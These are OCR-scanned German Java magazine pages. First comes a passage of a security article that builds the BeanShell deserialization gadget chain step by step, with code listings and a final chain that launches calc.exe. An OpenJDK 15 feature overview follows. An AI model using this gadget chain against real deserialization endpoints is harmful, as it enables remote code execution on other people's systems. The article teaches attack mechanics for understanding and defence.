od implementiert. Das letzte Gadget in der Kette der
Programmausfiithrungen ist das sogenannte Sink Gad-
get. Dieses Gadget fithrt vom Angreifer definierte Be-
triebssystembefehle aus. Ahnlich dem Return-oriented
Programming (ROP) [7] bei der Ausnutzung von Stack-
Overflow-Schwachstellen in C/C++, wird bei Deseriali-
sierungsschwachstellen eine Kette von Gadgets gebildet,
allerdings mit dem Unterschied, dass nicht bereits im
RAM vorhandene Codeblocke tiber Riicksprungad-
ressen (return-orientated) miteinander verkettet wer-
den, sondern mittels der Properties von Objekten aus
Klassen, die im Klassenpfad zu finden sind. Daher wird
diese Technik auch Property-oriented Programming
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(POP) [8] genannt. Das Ganze hort sich erst einmal
recht kompliziert an — die verwendete Technik wird im
Folgenden in einzelnen Schritten anhand der BeanShell
Gadget Chain genauer dargestellt.

BeanShell ist fiir den Angreifer als Sink Gadget inte-
ressant, da es genau das erlaubt, was ein Angreifer sich
wiinscht: die Ausfithrung von dynamischem Java-Code
(mittels eines Runtime Interpreters). Eine Gadget Chain
ist daher gesucht, mit der im Sink Gadget ein BeanShell-
Interpreter-Objekt aufgerufen und so Code ausgefiihrt
werden kann.

Schritt 1: Finden eines geeigneten Kick-off Gadgets
Man braucht zunichst aber ein Kick-off Gadget. In Lis-
ting 2 ist ein solches exemplarisch dargestellt.

Die Klasse KickOffGadget besitzt eine Variable comp
der Klasse Comparator, die zum Vergleich zweier Ob-
jekte mit der Methode compare verwendet werden kann
(Listing 2, Kommentar 1). Diese Methode wird in der
Magic Method readObject() (Listing 2, Kommentar 4)
aufgerufen (Listing 2, Kommentar 3). Der Angreifer
kontrolliert — wie bereits erwidhnt — bei der Deseriali-
sierung den Wert der Variable comp. Neben dem Wert
kann ein Angreifer aber auch den Datentyp dieser Vari-
able festlegen, da dieser im serialisierten Bytestrom vor
dem Variablenwert festgelegt wird. Bei der Deserialisie-
rung wird die Magic Method readObject() ausgefiihrt,
und diese setzt das Object comp auf den vom Angreifer
bestimmten Klassennamen (Listing 2, Kommentar 2).

Listing 1: Logger.java

class Logger implements Serializable {
String logfilename; // (1)
/]

private void readObject(ObjectInputStream oInput) throws java.io.I0Exception, :
ClassNotFoundException // (2)

{
oInput.defaultReadObject(); // (3)

System.out.println("logfilename = "+logfilename); // Debug Output
Runtime.getRuntime().exec(new String[]{"bash","-c" logfilename}); // (4)

Listing 2: KickOffGadget.java

class KickOffGadget implements Serializable {
private Comparator comp; // (1)

private void readObject(ObjectInputStream oInput) throws java.io.I0Exception, :
ClassNotFoundException // (4)

{
olnput.defaultReadObject(); // (2)
comp.compare("foo","bar"); // (3)
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So kann ein Angreifer eine compare()-Methode eines be-
liebigen Objekts durch dieses Kick-off Gadget aufrufen
(Listing 2, Kommentar 3). Ein potenzieller Anfang einer
Gadget Chain ist gemacht.

PriorityQueue to the rescue

Gibt es im Java API eine Klasse, die eine derartige Struk-
tur wie die Klasse KickOffGadget aus Listing 2 besitzt?
Die Klasse java.util.PriorityQueue [9] ist wie in Lis-
ting 3 gezeigt implementiert [10].

Die Klasse PriorityQueue implementiert ebenfalls
das Interface Serializable und die Magic Method read-
Object() (Listing 3, Kommentar 2). Ein Objekt dieser
Klasse kann daher deserialisiert werden, hierbei wird
readObject() aufgerufen. Nach Einlesen weiterer Ob-
jekte aus dem serialisiertem Bytestrom (Listing 3, Kom-
mentare 4 und 5) wird die Methode Heapify() (Listing 3,
Kommentar 6) aufgerufen. Die Methode heapify() (Lis-
ting 4) ruft im weiteren siftDown() auf (Listing 5).

Leider ist dies immer noch nicht der gewtinschte Auf-
ruf von compare(). Die Variable comparator wird nicht
null sein, da sie vom Konstruktor stammt, weshalb im
Folgenden die Methode siftDownUsingComparator()
ausgefithrt wird (Listing 6).

Die Analyse von etwas Code hat sich bezahlt gemacht,
der compare()-Aufruf wurde erreicht und das Kick-off

Listing 3: PriorityQueue.java

public class PriorityQueue<E> extends AbstractQueue<E>
implements java.io.Serializable { // (1)

/]

private void readObject(java.io.ObjectInputStream s) // (2)
throws java.io.I0Exception, ClassNotFoundException {

// Read in size, and any hidden stuff

s.defaultReadObject(); // (3)

// Read in (and discard) array length

s.readInt(); // (4)

queue = new Object[size];

// Read in all elements.

for (inti=0; i <size; i++)
queue[i] = s.readObject(); // (5)

// Elements are guaranteed to be in "proper order", but the spec has never explained

// what that might be.

Heapify(); // (6)

Listing 4: Heapify()

private void heapify() { :
for (inti= (size >>> 1) - 1; i >=0; i--)
siftDown(i, (E) queueli]);

Listing 5: siftDown()

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
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Gadget ist gefunden. Listing 7 zeigt, wie das Priority-
Quene-Objekt und somit das erste Gadget konstruiert
wird, sodass der Programmfluss in readObject() bei der
Deserialisierung den compare()-Aufruf erreicht.

In Listing 7, Kommentar 1 wird schlieflich das Ob-
jekt zuriickgegeben, das der Deserialisierungsmethode
zur Ausnutzung der Schwachstelle iibergeben wird.

Schritt 2: Geschickt vergleichen lohnt sich
Nun ist es einem Angreifer moglich, compare() einer be-
liebigen Klasse durch das Gadget in Listing 7 auszufih-
ren. Damit kommt man allerdings nicht weiter — besser
wire es, eine beliebige Methode ausfiihren zu kénnen.

Glucklicherweise gibt es den Dynamic Proxy nach
dem gleichnamigen Designpattern namens Proxy [11],
das weiterhelfen kann. Dynamische Proxys sind Teil des
Reflection API [12] und stellen zur Laufzeit generierte
Stellvertreterobjekte. Sie implementieren gewiinschte
Interfaces, und fiir jeden Methodenaufruf an den Proxy
wird eine einzigen Methode — die invoke()-Methode ei-
nes InvocationHandlers — aufgerufen. Zur Veranschau-
lichung dient das Codebeispiel DynamicProxyTest.java
(Listing 8, basierend auf dem Beispiel von RIP-Tutori-
al [13]).

Die Methode invoke() verbirgt die Implementierung
von someMethod() und compare(). Basierend auf dem

Listing 6: siftDownUsingComparator()

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
intchild = (k<< 1) +1;
Object ¢ = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) ¢, (E) queue[right]) > 0)
¢ = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;

/] -

Listing 7: Gadget 1

// Kick-off Gadget SCHRITT 1 GADGET 1 BEGINN
final PriorityQueue<Object> priorityQueue =
new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object(] {1,1};
// Setze die Felder queue und size mit Hilfe des Reflection APIs, damit
// compare() in siftDownUsingComparator() ausgefiihrt wird
// siehe Listings 4, 5 und 6
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue; // (1)
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Methodenamen in method wird dort der entsprechende Code aufgerufen. Wie
man bei der Programmausfithrung von DynamicProxyTest sieht (Listing 9), wird
beim Aufruf i1.someMethod() und il.compare() des Proxy-Interface i1 immer
zunichst die Methode invoke() aufgerufen.

Im Kick-off Gadget findet daher anstelle der Compare-Klasse ein dynamisches
Proxy Object Verwendung, das die compare()-Methode nach aufSen hin anbietet

Listing 8: DynamicProxyTest.java

import java.lang.reflect .*;

public class DynamicProxyTest {
public interface MyInterface1{
// welche Methoden (=Interfaces) bietet der Proxy an
public void someMethod();
public void compare(Object 01, Object 02);
}

public static void main(String args[]) throws Exception {

// dynamic proxy class

(lass<?> proxyClass = Proxy.getProxyClass(
ClassLoader.getSystemClassLoader(),
new Class[] { MyInterfacel.class} ); // Interface

// mittels Reflection den Kontruktor von Dynamic Proxy extrahieren

Constructor<?> proxyConstructor =
proxyClass.getConstructor(InvocationHandler.class);

// Erzeugung/Implementierung des InvocationHandlers "handler"
InvocationHandler handler = new InvocationHandler(){
// Diese Methode wird fiir jeden Aufruf einer Proxy-Methode aufgerufen
// "method": aufgerufene Methode
// "Args": Methodenparameter
// Riickgabe: Ergebnis des Methoden-Aufrufs
@0verride
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoke() called!");
String methodName = method.getName();

if(methodName.equals("someMethod")){
System.out.println("someMethod was invoked!");
return null;
}
if(methodName.equals("compare")){
System.out.println("compare() was invoked!");
System.out.println("Parameterl: " + args[0] +
return 42;
}
System.out.println("Unkown method!");
return null;
}
b
// Erzeugung des Interfaces mit "handler"
MyInterfacel i1 = (MyInterface1) proxyConstructor.newInstance(handler);
// Beispielausfiihrung von someMethod1() und compare()
il.someMethod1();
il.compare("MyObject1","MyObject2");

"o

+args[1]);
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und im Inneren invoke() aufruft (Listing 7 — ein dyna-
mischer Proxy anstelle der Variable comparator). Wenn
man nun einen InvocationHandler (der invoke() imple-
mentiert) hitte, der Codeausfithrung ermoglicht, wire
man am Ziel. So schnell geht es jedoch nicht. Die Gadget
Chain wird im Exploit Code um ein weiteres Gadget,
den dynamischen Proxy (Listing 10), erweitert und an-
stelle des Comparators gesetzt.

Man sieht, dass der comparator in Listing 10 als ein
Bindeglied zwischen dem Kick-off Gadget und dem Dy-
namicProxy Gadget fungiert und so eine zweistufige
Gadget Chain gebildet wird. In Listing 10 (Kommen-
tar 1) wird zudem das konstruierte priorityQueune-Ob-
jekt zurtickgegeben — das Objekt des Kick-off Gadgets
ist immer das resultierende Objekt, das bei der Deseri-
alisierung zur Ausnutzung der Schwachstelle verwendet
wird. Es soll ja eine BeanShell Gadget Chain [14] entwi-
ckelt werden. Ein Angreifer prift im folgenden Schritt,
wie diese Bibliothek hilfreich sein kann.

Schritt 3: Runtime.getRuntime().exec als BeanShell-
Code

BeanShell ist fiir den Angreifer als Sink Gadget interes-
sant, da es genau das erlaubt, was ein Angreifer mochte:
die Ausfithrung von dynamischem Java-Code (mittels
Runtime Interpreter). Eine Gadget Chain ist gesucht,
mit der im Sink Gadget ein BeanShell-Interpreter-Objekt

Listing 9: DynamicProxyTest

$ java DynamicProxyTest
invoke() called!

someMethod was invoked!
invoke() called!

compare() was invoked!
Parameter1: MyObject1 MyObject?

Listing 10: Gadget 2

// Erzeuge Comparator Proxy

// Schritte 2 und Gadget 2

Comparator comparator =
(Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(),
new Class<?>[]{Comparator.class}, handler);

// Gadget 2 ENDE

// Kick-off Gadget SCHRITT 1 GADGET 1

final PriorityQueue<Object> priorityQueue =
new PriorityQueue<Object>(2, comparator);

Object[] queue = new Object[] {1,1};

// Setze die Felder queue und size mit Hilfe des Reflection API,

// damit compare() in siftDownUsingComparator() ausgefiihrt wird

// siehe Listing 4, 5 und 6

Reflections.setFieldValue(priorityQueue, "queue", queue);

Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue; // (1)
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aufgerufen werden kann und die so die Codeausfithrung
ermoglicht. Man konnte beispielsweise BeanShell-Code
entwickeln, der calc.exe oder ein beliebiges anderes Pro-
gramm startet (Listing 11).

Listing 11 zeigt das Sink Gadget (Gadget 5), das aus
den Gadgets ProcessBuilder und Calc.exe besteht. Der
BeanShell-Code in der Variable payload implemen-
tiert die Methode compare mit denselben Methoden-
argumenten und Riickgabewerten, wie sie in der Klasse
Comparator verwendet werden. Diese Methode wurde
gewihlt, weil sie durch den Proxy realisiert werden soll.
Das ist allerdings noch kein InvocationHandler mit
invoke(), den man im dynamischen Proxy verwenden
konnte. Man kann daher die bereits vorhandenen Gad-
gets 1 und 2 noch nicht mit dem Sink Gadget miteinan-
der verketten.

Schritt 4: Nicht this, sondern Xthis
Hier kommt die Klasse Xthis von BeanShell zur Hilfe
(Listing 12).

Diese Klasse initialisiert im Konstruktor einen Inter-
preter (spiter gibt es den calc.exe-Aufruf im BeanShell-
Code). Der InvocationHandler (Kommentar 1) der
Klasse Xthis und invoke() werden durch das Erzeugen
der Klasse Handler gesetzt (Listing 13).

Passt alles zusammen! Jetzt muss nur noch der Invo-
cationHandler handler des dynamischen Proxys auf den
des Xthis-Objekts gesetzt werden (Listing 14).

Jetzt hat man alle Gadgets zusammen: Man erhalt die
finale Gadget Chain (Listing 15), indem man die Pro-
grammcodes der sieben Gadgets zusammenfiigt. Jedoch
beginnt der Programmcode mit dem letzten Gadget,
dem Sink Gadget und endet mit dem ersten Gadget, dem
Kick-off Gadget.

Anhand der Kommentare in Listing 15 kann man die
verschiedenen Gadgets erkennen. Die ,Bindeglieder
zwischen den Gadgets sind im Code fett markiert.

Giannakidis vergleicht in seinem Vortrag [15] die Ent-
wicklung von Gadget Chains mit einer Scrabble-Partie,
in der Buchstaben die Gadgets sind. Gadget Chains wer-

Listing 11: Gadget 5 -
Aufruf von calc.exe mittels BeanShell

// GADGET 5 Beginn
String payload =
"compare(Object foo, Object bar) { // (1)
new java.lang.ProcessBuilder( //GADGET 6

new String[]{\"calc.exe\" ).start(); // GADGET 7
return new Integer(1);
s

// Interpreter erzeugen

Interpreter i = new Interpreter();

// und Payload kompilieren

i.eval(payload);

// GADGET 5 ENDE

www.]AXenter.de



Anzeige



Java Core | Deserialisierungsschwachstellen

Abb. 1: BeanShell Gadget Chain

Listing 12: Klasse Xthis
/**

XThis is a dynamically loaded extension which extends This.java and
adds support for the generalized interface proxy mechanism introduced
in JDK1.3. XThis allows bsh scripted objects to implement arbitrary

interfaces (be arbitrary event listener types).

/1 -

XThis stands for "eXtended This" (I had to call it something).

*4(/
public class XThis extends This
{

// A cache of proxy interface handlers. Currently just one per interface.

Hashtable interfaces;

InvocationHandler invocationHandler = new Handler(); // (1)

public XThis( NameSpace namespace, Interpreter declaringInterp ) {

super( namespace, declaringInterp );

}

Listing 13: Die Klasse ,Handler

class Handler implements InvocationHandler, java.io.Serializable

{

public Object invoke( Object proxy, Method method, Object(] args ) {

try {

// Aufruf des Intepreters und der entsprechenden Methode

return invokeImpl( proxy, method, args ); }
/] e
I

Listing 14: Gadgets 3 und 4

// Interpreter I des Sink-Gadgets (Code-Ausfuehrung)
XThis xt = new XThis(i.getNameSpace(), i); // GADGET 4
// GADGET 3 BEGINN

// extrahiere invocationHandler Object vom xt Object mittels Java-Reflection

InvocationHandler handler =
(InvocationHandler) Reflections.getField(xt.getClass(),

"invocationHandler").get(xt);

// GADGET 3 ENDE
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den durch Anlegen von Buchstaben an schon vorhande-
ne Worter erzeugt. Der Gewinner hierbei ist derjenige,
der an das Startwort READOBJECT die richtigen Wor-
ter anlegen kann, sodass die Buchstabenkette CALC-
EXE (bzw. eine beliebige Codeausfithrung) am Ende der
Partie abgelegt werden kann. Wie bei der Entwicklung
von Gadgets Chains steigt die Gewinnchance mit der
Anzahl der verfiigbaren Buchstaben, also mit der An-
zahl der Klassen im Zugriffsbereich des Programms.

Abbildung 1 zeigt beispielhaft eine Scrabble-Partie fur
die vorgestellte BeanShell Gadget Chain.

Wie findet man nun selbst Gadgets fiir einen Exploit?
Das Unix-Tool Grep [16] fir das Durchsuchen von

Listing 15: Die finale Gadget Chain

// <Interpreter I aus Listing 11 - Aufruf von "calc.exe" mittels BeanShell>
// 3. Schritt :
// GADGET 5 BEGINN
String payload =
"compare(Object foo, Object bar) {
new java.lang.ProcessBuilder( // GADGET 6
new String[]{\"calc.exe\" ).start(); // GADGET 7
return new Integer(1);
s
// Interpreter erzeugen
Interpreter i = new Interpreter();
// und payload kompilieren
i.eval(payload);
// GADGET 5 ENDE
// 4. Schritt
// GADGET 4
XThis xt = new XThis(i.getNameSpace(), i);
// GADGET 3 (4.Schritt)
// extract invocationHandler Object from xt Object using Reflection
InvocationHandler handler =
(InvocationHandler) Reflections.getField(xt.getClass(), :
"invocationHandler").get(xt);
// GADGET 3 ENDE :
// 2. SCHRITT:
// Gadget 2 BEGINN
Comparator comparator =
(Comparator) Proxy.newProxyInstance(Comparator.class. :
getClassLoader(),
new (lass<?>[] {Comparator.class}, handler); i
// Gadget 2 ENDE
// Kick-off-Gadget
// SCHRITT 1 GADGET 1 BEGINN
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,
comparator); :
Object[] queue = new Object(] {1,1}; :
// Setze die Felder queue und size mit Hilfe des Reflection API,
// damit compare() in siftDownUsingComparator() ausgefiihrt wird
// siehe Listings 4, 5 und 6
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue; // das Ergebnis - die Gadget Chain
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Code nach Implementierungen der Magic Methods ist
hilfreich — ebenso Entwickler-GUIs wie Eclipse. Es gibt
allerdings auch automatisierte Tools, wie etwa den Gad-
get Inspector [17], die eine Liste an moglichen Gadgets
einer Klassenbibliothek ausgeben, die sich auch verket-
ten lassen. Hierbei liegt die eigentliche Schwierigkeit
und Kreativitit bei der Entwicklung von Java-Deseriali-
sierungs-Exploits.

Yo, Serial!

Natiirlich gibt es auch hier Tools fiir Angreifer (vor al-
lem fiir Script-Kiddies). Die hier vorgestellte BeanShell
Gadget Chain ist Teil eines Tools namens yoSerial [18].
Es implementiert zum Beispiel die fehlende Klasse Re-
flections aus Listing 15. yoSerial serialisiert so Objek-
te, die praktisch zur Ausnutzung und Entdeckung von
Java-Deserialisierungsschwachstellen verwendet wer-
den konnen. Interessanterweise basieren diese Chains
auf teils recht alten Bibliotheken — es konnen also noch
diverse unentdeckte Chains existieren, die noch keiner
im Visier hatte. Zeit fur eine Partie Scrabble!

Axel Rengstorf arbeitet seit 15 Jahren als freiberuflicher Penetrati-
on-Tester. Neben seiner Spezialisierung auf das Finden von
Schwachstellen in VolP-Systemen und Webapplikationen bringt er
einschléagige Erfahrung im Bereich Secure Source Code Audits von
C/C++-, PHP- und Java-Code mit.
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Java geht in die nachste Runde

Die Neuerun
OpenJDK 15

Mit Java 15 erscheint nun bereits das sechste halbja
das mal wieder genau im Zeitplan — eine Eigenschaft,
meinen und friheren Java-Versionen im Speziellen so
gung auf der Mailingliste [1] gibt es neben Hunderten
senden Bugfixes insgesamt vierzehn neue Features. |
Blick auf die relevanten Anderungen.

von Falk Sippach
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Die wichtigsten neuen Funktionen wurden wieder in
Form von Java Enhancement Proposals (JEP) entwi-
ckelt. Eine Auflistung inklusive Verlinkungen zu den
einzelnen Projektseiten findet sich auf der Webseite des
OpenJDK [2].

® 339: Edwards-Curve Digital Signature Algorithm
(EdDSA)

® 360: Sealed Classes (Preview)

¢ 371: Hidden Classes

® 372: Remove the Nashorn JavaScript Engine

¢ 373: Reimplement the Legacy DatagramSocket API

® 374: Disable and Deprecate Biased Locking

® 375: Pattern Matching for instanceof (Second Preview)

® 377: ZGC: A Scalable Low-Latency Garbage Collector

e 378: Text Blocks

® 379: Shenandoah: A Low-Pause-Time Garbage Coll-
ector

¢ 381: Remove the Solaris and SPARC Ports

¢ 383: Foreign-Memory Access API (Second Incubator)

® 384: Records (Second Preview)

® 385: Deprecate RMI Activation for Removal

Einige der Features befinden sich noch im Preview-
oder Inkubator-Modus. Die Macher des Open]DKs
wollen ihre Ideen so moglichst frithzeitig vorzeigen
und erhoffen sich Feedback aus der Community. Die-
se Riickmeldungen flieffen dann bereits in die nichs-
ten halbjahrlichen Releases ein. Wir Java-Entwickler
konnen zudem regelmiflig neue Sprachfunktionen
und JDK-Erweiterungen ausprobieren. Spatestens zur
nachsten LTS-(Long-Term-Support-)Version erfolgt
dann die Finalisierung der Previews. Das wird ibri-
gens das Open]DK 17 sein, das fiir September 2021
geplant ist.

Auf JAXenter [3] gibt es bereits einen kompakten
Uberblick iiber alle Anderungen des JDK 15. Wir wol-
len in diesem Artikel etwas tiefer auf die vor allem fiir
Entwickler relevanten Themen schauen. Und da sind die
Sealed Classes (JEP 360) die vermutlich interessanteste
Neuerung. Dieses Feature wurde im Rahmen von Pro-
jekt Amber entwickelt.

Sealed Classes gehoren zu einer Reihe von vorbe-
reitenden Maflnahmen fiir die Umsetzung von Pat-
tern Matching in Java. Ganz konkret sollen sie bei
der Analyse von Mustern unterstiitzen. Aber auch fiir
Framework-Entwickler bieten sie einen interessanten
Mehrwert. Die Idee hinter Sealed Classes ist, dass ver-
siegelte Klassen und Interfaces entscheiden konnen,
welche Subklassen oder -Interfaces von ihnen abgeleitet
werden diirfen.

Bisher konnte man als Entwickler Ableitung von Klas-
sen nur durch Zugriffsmodifikatoren (private, protec-
ted, ...) einschrianken oder durch die Deklaration der
Klasse als final komplett durch den Compiler untersa-
gen. Sealed Classes bieten aber nun einen deklarativen
Weg, um nur bestimmten Subklassen die Ableitung zu
erlauben. Hier zur Verdeutlichung ein kleines Beispiel:

OpenJDK 15

public sealed class Vehicle
permits Car,
Bike,
Bus,
Train {

Vehicle darf nur von den vier genannten Klassen iiber-
schrieben werden. Damit wird auch dem Aufrufer deut-
lich gemacht, welche Subklassen erlaubt sind und damit
uberhaupt existieren. Subklassen bergen zudem immer
die Gefahr, dass beim Uberschreiben der Vertrag der Su-
perklasse verletzt wird. Zum Beispiel ist es unmoglich,
die Bedingungen der equals-Methode aus der Klasse
Object zu erfiillen, wenn man Instanzen von einer Su-
per- und einer Subklasse miteinander vergleichen will.
Weitere Details dazu kann man in der API-Dokumenta-
tion unter dem Stichwort Aquivalenzrelationen, konkret
Symmetrie [4] nachlesen.

Sealed Classes funktionieren auch mit abstrakten
Klassen und integrieren sich zudem gut mit den in der
Vorgingerversion eingefithrten Record-Datentypen.
Es gibt aber ein paar Einschrinkungen. Eine Sealed
Class und alle erlaubten Subklassen miissen im sel-
ben Modul existieren. Im Fall von Unnamed Modules
missen sie sogar im gleichen Package liegen. Au-
fSerdem muss jede erlaubte Subklasse direkt von der
Sealed Class ableiten. Die Subklassen diirfen tibrigens
wieder selbst entscheiden, ob sie weiterhin versiegelt,
final oder komplett offen sein wollen. Die zentrale
Versiegelung einer ganzen Klassenhierarchie von oben
bis zur untersten Hierarchiestufe ist leider nicht mog-
lich. Weitere Details finden sich auf der Projektseite
des JEPs 360 [5].

Das zweite Mal dabei, sozusagen im Recall, ist das
bereits in Java 14 als Preview eingefiihrte Pattern Mat-
ching for instanceof. Ein Pattern ist eine Kombination
aus einem Pradikat, das auf eine Zielstruktur passt,
und einer Menge von Variablen innerhalb dieses Mus-
ters. Diesen Variablen werden bei passenden Treffern
die entsprechenden Inhalte zugewiesen und damit ext-
rahiert. Die Intention des Pattern Matching ist letztlich
die Destrukturierung von Objekten, also das Auf-
spalten in die Bestandteile und Zuweisen in einzelne
Variablen zur weiteren Bearbeitung. Die Spezialform
des Pattern Matching beim instanceof-Operator spart
unnotige Casts auf die zu prifenden Zieldatentypen.
Wenn o ein String oder eine Collection ist, dann kann
direkt mit den neuen Variablen (s und ¢) mit den ent-
sprechenden Datentypen weitergearbeitet werden. Das
Ziel ist es, Redundanzen zu vermeiden und dadurch die
Lesbarkeit zu erhéhen:

boolean isNullOrEmpty( Object 0 ) {
return o == null ||
o instanceof String s && s.isBlank() ||
o instanceof Collection ¢ && c.isEmpty();

}
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Der Unterschied zum zusitzlichen Cast mag marginal
erscheinen. Fiir die Puristen unter den Java-Entwicklern
spart das allerdings eine kleine, aber dennoch lastige
Redundanz ein. Laut Brian Goetz soll die Sprache Java
dadurch prignanter und die Verwendung sicherer ge-
macht werden. Erzwungene Typumwandlungen werden
vermieden und dafiir implizit durchgefiihrt. Die zwei-
te Preview bringt iibrigens keine Anderungen seit dem
JDK 14 mit sich. Es soll aber noch einmal die Moglich-
keit gegeben werden, Feedback abzugeben. In zukiinfti-
gen Java-Versionen wird es das Pattern Matching dann
auch fiir weitere Sprachkonstrukte geben, z. B. inner-
halb von Switch Expressions.

Ebenfalls das zweite Mal dabei sind die Records, eine
eingeschriankte Form der Klassendeklaration, dhnlich
den Enums. Entwickelt wurden Records im Rahmen
des Projekts Valhalla. Es gibt gewisse Ahnlichkeiten zu
Data Classes in Kotlin und Case Classes in Scala. Die
kompakte Syntax konnte Bibliotheken wie Lombok in
Zukunft obsolet machen. Die einfache Definition einer
Person mit zwei Feldern sieht folgendermafSen aus:

public record Person(String name, Person partner ) {}
Das nichste Listing zeigt eine erweiterte Variante mit

einem zusitzlichen Konstruktor. Dadurch lassen sich
neben Pflichtfeldern auch optionale Felder abbilden:

Listing 1

public final class Person extends Record {
private final String name;
private final Person partner;
public Person(String name) { this(name, null); } :
public Person(String name, Person partner) { this.name = name; this.partner = partner; }
public String getNameInUppercase() { return name.toUpperCase(); } :
public String toString() { /* ... */}
public final int hashCode() { /* ... */}
public final boolean equals(Object o) { /* ... */}
public String name() { return name; }
public Person partner() { return partner; }

Listing 2

var man = new Person("Adam");

var woman = new Person("Eve", man);

woman.toString(); // ==> "Person[name=Eve, partner=Person[name=Adam, partner=null]]

woman.partner().name(); // ==> "Adam"

woman.getNameInUppercase(); // ==> "EVE"

// Deep equals

new Person("Eve", new Person("Adam")).equals( woman ); // ==> true
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public record Person(String name, Person partner ) {

public Person(String name ) { this( name, null ); }

public String getNameInUppercase() { return name.toUpperCase(); }
}

Erzeugt wird vom Compiler eine unverdnderbare (im-
mutable) Klasse, die neben den beiden Attributen und
den eigenen Methoden natiirlich auch noch die Imple-
mentierungen fiir die Accessoren, den Konstruktor so-
wie equals/hashCode und toString enthilt (Listing 1).

Verwendet werden Records dann wie normale Java-
Klassen. Der Aufrufer merkt also gar nicht, dass ein
Record-Typ instanziiert wird (Listing 2).

Records sind tibrigens keine klassischen JavaBeans,
da sie keine echten Getter enthalten. Man kann auf die
Member-Variablen aber tiber die gleichnamigen Me-
thoden zugreifen (name() statt getName()). Records
kénnen im Ubrigen auch Annotationen oder JavaDocs
enthalten. Im Body diirfen zudem statische Felder so-
wie Methoden, Konstruktoren oder Instanzmethoden
deklariert werden. Nicht erlaubt ist die Definition von
weiteren Instanzfeldern aufSerhalb des Record Headers.

Die zweite Preview der Records in Java 15 enthilt ei-
nige kleinere Verbesserungen aufgrund des Feedbacks
aus der Community. Auflerdem gibt es eine Integration
der Records mit den Sealed Classes, wie das aus der Do-
kumentation des JEP 384 [6] entnommene Beispiel zeigt
(Listing 3).

Eine Familie von Records kann von dem gleichen
Sealed Interface ableiten. Die Kombination aus Records
und versiegelten Datentypen fiihrt uns zu algebraischen
Datentypen, die vor allem in funktionalen Sprachen wie
Haskell zum Einsatz kommen. Konkret konnen wir jetzt
mit Records Produkttypen und mit versiegelten Klassen
Summentypen abbilden.

Eine weitere Neuerung sind geschachtelte Records,
um schnell und einfach Zwischenergebnisse in Form
von zusammengehorigen Variablen modellieren zu kon-
nen. Bisher konnte man bereits statische innere Records
(analog zu statischen inneren Klassen) deklarieren. Jetzt
gibt es auch die Moglichkeit, lokale Records innerhalb
von Methoden als temporire Datenstrukturen zu erzeu-
gen. Listing 4 zeigt ein Beispiel.

Ebenfalls zum zweiten Mal dabei ist das Foreign-Me-
mory Access API (JEP 383). Damit sollen Java-Program-
me sicher und effizient Speicher aufserhalb des Heap

Listing 3

public sealed interface Expr
permits ConstantExpr, PlusExpr, TimesExpr, NegExpr {

}

public record ConstantExpr(int i) implements Expr {...}
public record PlusExpr(Expr a, Exprb) —implements Expr {...}
public record TimesExpr(Expr a, Expr b) implements Expr {...}

public record NegExpr(Expr e) implements Expr {...}
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verwalten konnen. Prominente Beispiele sind In-Me-
mory-Losungen wie Ignite, mapDB, Memcached oder
das ByteBuf API von Netty. Diese neue Bibliothek 16st
die veraltete Alternative sun.misc. Unsafe ab und macht
Workarounds iiber java.nio.ByteBuffer uiberfliissig. Es
ist Teil des Projekts Panama, das die Verbindungen zwi-
schen Java- und Nicht-Java-APIs verbessern will.

Diesmal nicht als eigenes JEP aufgelistet, aber trotz-
dem wieder mit von der Partie sind die erst in Java 14
eingefiihrten Helpful NullPointerExceptions. Inhaltlich
gab es keine Anderungen. Allerdings sind sie nun direkt
aktiv und miissen nicht mehr explizit tiber einen Kom-
mandozeilenparameter eingeschaltet werden. Sie sind
sehr hilfreich bei auftretenden NullPointerExceptions,
weil sie die betroffene Variable oder den verursachen-
den Methodenaufruf direkt benennen. Als Entwickler
muss man nicht mehr raten oder durch aufwendiges De-
buggen die betroffene Stelle ermitteln.

Dem Preview entwachsen sind in Java 15 die Text
Blocks. Eigentlich war bereits im JDK 12 mit den Raw
String Literals eine grofere Anderung bei der Verarbei-
tung von Zeichenketten angekiindigt, musste dann aber
aufgrund von Unstimmigkeiten innerhalb der Communi-
ty zuriickgezogen werden. Im OpenJDK 13 und 14 wur-
den dann die Text Blocks als abgespeckte Variante in
Form eines Preview-Features eingefiihrt. Ein Text Block
ist dabei ein mehrzeiliges String Literal. Zeilenumbriiche
werden nicht durch eine den Lesefluss storende Escape-
Sequenz eingeleitet. Der String wird automatisch, aber
auf nachvollziehbare Art und Weise formatiert. Wenn
notig, kann der Entwickler aber in die Formatierung ein-
greifen. Insbesondere fir HTML-Templates und SQL-
Skripte erhoht sich die Lesbarkeit enorm (Listing 5).

In Java 14 gab es noch kleinere Anderungen, u. a.
wurden zwei neue Escape-Sequenzen hinzugefiigt, um
die Formatierung einer mehrzeiligen Zeichenkette an-
passen zu konnen. Nun sind Text Blocks als offizielles
Feature in den Java-Sprachumfang aufgenommen.
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Aber es kamen nicht nur neue Features hinzu. Seit dem
JDK 11 missen wir auch immer wieder damit rechnen,
dass als deprecated markierte Funktionen und Biblio-
theken wegfallen. Diesmal hat es die erst in Java 8 ein-
gefithrte JavaScript-Engine Nashorn erwischt. Die mit
ECMAScript 5.1 kompatible Implementierung hatte das
frithere Projekt Rhino abgeldst, konnte sich aber nie an-
naherungsweise gegen die etablierte Plattform Node.js
behaupten. Zudem entwickeln sich JavaScript und der
ECMA-Standard sehr rapide weiter und es wire sehr
viel Aufwand, die Engine im JDK auf Stand zu halten.
Keinen Einfluss hat der Ausbau tibrigens auf das API ja-
vax.script, mit dem man beliebige Skriptsprachen aus ei-
ner Java-Anwendung heraus starten kann. Mochte man
in Zukunft direkt auf der JVM JavaScript-Code ausfiih-
ren, sollte man sich auch die polyglotte GraalVM naher
anschauen. Damit lassen sich auch noch verschiedene
andere Sprachen wie Ruby, Python usw. ausfihren.

